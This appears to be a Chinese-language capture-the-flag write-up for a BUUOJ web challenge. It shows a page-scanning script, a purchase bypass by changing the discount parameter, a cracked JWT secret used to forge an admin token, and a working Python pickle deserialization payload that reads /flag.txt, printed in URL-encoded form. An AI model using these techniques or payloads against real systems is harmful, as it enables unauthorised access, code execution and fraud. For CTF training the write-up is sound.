题目提示要买到lv6,翻看几页未发现结果,写py脚本爆破
import requests
url='http://7646c9f2-f302-4ffd-aed4-3234cdefaa29.node5.buuoj.cn:81/shop?page='
for i in range(1,9999):
print('Now:'+ str(i))
r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print(i)
break
得到lv6位于181,购买lv6提示失败,查看余额,发现余额不足。抓包购买的过程,修改金额,失败;修改折扣为0.0000000001,成功购买。
跳转到b1g_m4mber页面,提示该页面只有管理员能访问,抓包该页面,发现存在JWT,利用jwi.io解码,发现存在username的值,猜测需要拿到加密算法的key来重新构造JWT数据,使得username为admin。
查看alg的内容为HS256,为对称加密,存在破解可能。使用c-jwt-cracker爆破该JWT,得到key为1Kun,利用jwt.io重新构造JWT数据,填入Cookie字段中,放包,绕过admin验证
点击一键成为大会员无反应,查看页面源码,发现源码位置,下载后进行代码审计,结合题目提示(pickle反序列化),定位到Admin.py,使用Tornado实现,进行审计后发现可以通过get方式给become参数传入构造好的值,使得反序列化时返回flag的值
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
payload
become=c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
Comments | NOTHING